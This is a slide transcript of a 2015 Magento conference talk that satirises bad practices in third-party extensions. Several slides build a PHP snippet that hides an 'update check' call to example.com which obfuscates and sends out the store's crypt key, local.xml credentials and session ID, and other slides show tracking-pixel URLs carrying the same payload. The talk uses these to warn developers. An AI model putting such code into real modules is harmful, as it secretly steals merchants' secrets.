Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

How to Build a Pure Evil Magento Module

4,976 views

Published on

[Meet Magento 2015, Germany] In this presentation I'll show some pure evil bad practices that somehow made it into way too many Magento modules out there making it hard to integrate, adapt, scale, debug, secure or extend your project. Join this presentation and help making the Magento module ecosystem be a better place instead by spotting these "code smells" in your modules or the modules you're using.

Published in: Technology

How to Build a Pure Evil Magento Module

  1. 1. Pure Evil How to Build a Meet Magento 2015 – Leipzig, Germany Fabrizio Branca Magento Module
  2. 2. fbrnc fbrnc
  3. 3. San Francisco, CA Janine Fiona that’s me Leo
  4. 4. Lake Tahoe, California
  5. 5. 87.44%*of all modules (both paid or free) are known to be a major risk
  6. 6. *Note: Some statistics in this presentation may or may not be randomly made up based on wild guesses.
  7. 7. Goals help you spot evil modules and avoid installing them 1 motivate vendors to rethink their “best practices” 2 make YOU write better modules 3
  8. 8. Disclaimer: Persons (or Companies) Living or Dead Is Purely Coincidental Any Similarity to
  9. 9. Magento Module How to Build a Pure Evil in 51 simple steps Okay, let’s get started: 7
  10. 10. Name
  11. 11. http://magename.me/ Mage ProGento
  12. 12. Security
  13. 13. http://example.com/news.xml
  14. 14. Annoying, huh?
  15. 15. http://example.com/news.xml ?rlWgMKAmLJqyVwbvV09jMJ5 Go3IlL2IFo2AeplRvsD%3Q%3Q …and how do you feel about this?!
  16. 16. “http://example.com/news.xml?”.
  17. 17. “http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version )))));
  18. 18. “http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion() )))));
  19. 19. “http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date') )))));
  20. 20. “http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage() )))));
  21. 21. “http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage(), 'crypt_key' => Mage::getConfig()->getNode('global/crypt/key') )))));
  22. 22. “http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage(), 'crypt_key' => Mage::getConfig()->getNode('global/crypt/key'), 'local.xml' => file_get_contents('app/etc/local.xml') )))));
  23. 23. “http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage(), 'crypt_key' => Mage::getConfig()->getNode('global/crypt/key'), 'local.xml' => file_get_contents('app/etc/local.xml'), 'session_id' => Mage::getSingleton('core/session')->getEncryptedSessionId() )))));
  24. 24. You need to trust EVERY. SINGLE. LINE. you deploy to your server!
  25. 25. Average number of modules ~10 Launch >100 After 2 years per Magento store https://twitter.com/ProductPaul/status/584393641575088128 Note: sample size may or may not be significant.
  26. 26. malicious vulnerable vs
  27. 27. Scalability Performance
  28. 28. Chances your module ends up on an installation with … …more products than on your devbox …a higher order volume than on your devbox …more concurrent users than on your devbox 73.25% 80.77% 98.53%
  29. 29. “Alwaysdoqueries insideloopstosupport salesoffullpagecache extensions.” http://meta.magento.stackexchange.com/questions/288/funny- useless-horrible-code-from-magento-extensions
  30. 30. Assume all instances Problem: share a file system
  31. 31. If your infrastructure looks more like this:
  32. 32. Route 53 ELB CloudFront: Theme (JS/CSS,…) CloudFront: media files Internet S3: media files S3: build packages Continuous Integration Pipeline (Jenkins) OpsWorks Availability Zone AWS CloudFormation CloudWatch ✓ ✓inherently fault tolerant ✓ ✓ ✓ ✓ ✓ Redis: Sessions Redis: Cache Backend RDS DB instance RDS DB instance standby (Multi-AZ) ✓ ✓ Auto Scaling Group Frontend Layer Backend Layer Worker Layer Varnish Layer Data Layer RDS DB Read replica (for reports) Redis: Full page cache backend ✓ Production Stack External Services (Fulfillment, DRM, Giftcards,…) SES: Transactional emails ✓ SQS: Queue ✓ “Stack” (= Environment) “Layers” App Instances
  33. 33. rather than this:
  34. 34. Internet
  35. 35. then you most likely don’t have a shared file system
  36. 36. Please do not let your “configurable theme” dynamically generate skin files with custom CSS values.
  37. 37. How do you handle… version control? multi-server setups? auto-scaling? file permissions?
  38. 38. Code Quality
  39. 39. ini_set display_errors memory_limit max_execution_time shutdown_function spl_autoload_register … Don’t mess with PHP
  40. 40. Rewrites of important classes Overwrites Core Hacks Events Framework behavior Core Concepts Compilation … Don’t mess with Magento …unless this is what your module is all about
  41. 41. <?xml version="1.0"?> <config> <global> <events> <controller_action_predispatch> <observers> <magegento_pro_license_check> <class>magegento_pro/observer</class> <method>licenseCheck</method> </magegento_pro_license_check> <magegento_pro_update_check> <class>magegento_pro/observer</class> <method>updateCheck</method> </magegento_pro_update_check> </observers> </controller_action_predispatch> </events> </global> </config>
  42. 42. Be readable
  43. 43. foreach ($collection as $product) { /* @var $product Mage_Core_Model_Product */ ... } Be specific
  44. 44. !is_null($adminKey) && $adminKey != '' && $request['auth']['admin_key'] = $adminKey; Don’t Be fancy
  45. 45. I don’t always test my code. But when I do I do it on production.
  46. 46. Testcases? That’s only for over-achievers!
  47. 47. Jenkins Travis CI Use Jenkins to implement a full deployment pipeline for your projects! Test our Open Source Magento modules with Travis CI!
  48. 48. Dependencies PHP version & extensions 3rd party libraries 3rd party services other Magento modules
  49. 49. 1. Avoid Dependencies 2. Declare Dependencies any dependency increases the complexity significantly
  50. 50. Teacher Syndrome* *http://www.urbandictionary.com/define.php?term=Teacher+Syndrome
  51. 51. http://example.com/logo.gif ?rlWgMKAmLJqyVwbvV09jMJ5 Go3IlL2IFo2AeplRvsD%3Q%3Q
  52. 52. http://example.com/clear.gif ?rlWgMKAmLJqyVwbvV09jMJ5 Go3IlL2IFo2AeplRvsD%3Q%3Q
  53. 53. ZZZ_MageGento_Pro.xml app/etc/modules/
  54. 54. Installation Support
  55. 55. discover use code review add modman add composer git integrate test deploy The Right Thing™ download good luck with that! pay $xx to author provide FTP access seriously?! one-click install Module Installation upload “Step 1” upload “Step 2” clear caches
  56. 56. You need to trust EVERY. SINGLE. LINE. you deploy to your server!
  57. 57. How do you handle… version control? multi-server setups? auto-scaling? file permissions?
  58. 58. Transparency
  59. 59. Find your sweet spot GitHub ionCube
  60. 60. Find your sweet spot GitHub ionCube
  61. 61. Find your sweet spot GitHub ionCube
  62. 62. https://twitter.com/benmarks/status/593807195768127488
  63. 63. Forecast risk a new module crashes your store developer happiness
  64. 64. http://freakonomics.com/2015/01/15/thats-a-great-question-a-new-freakonomics-radio-podcast/ Chances a speaker begins his answer with “That’s a great question!”(...even if the question wasn’t that great.) 78.84% USA 23.47% Europe
  65. 65. Thank you! http://www.aoe.com http://fbrnc.net @fbrnc Follow me on twitter! My blog

×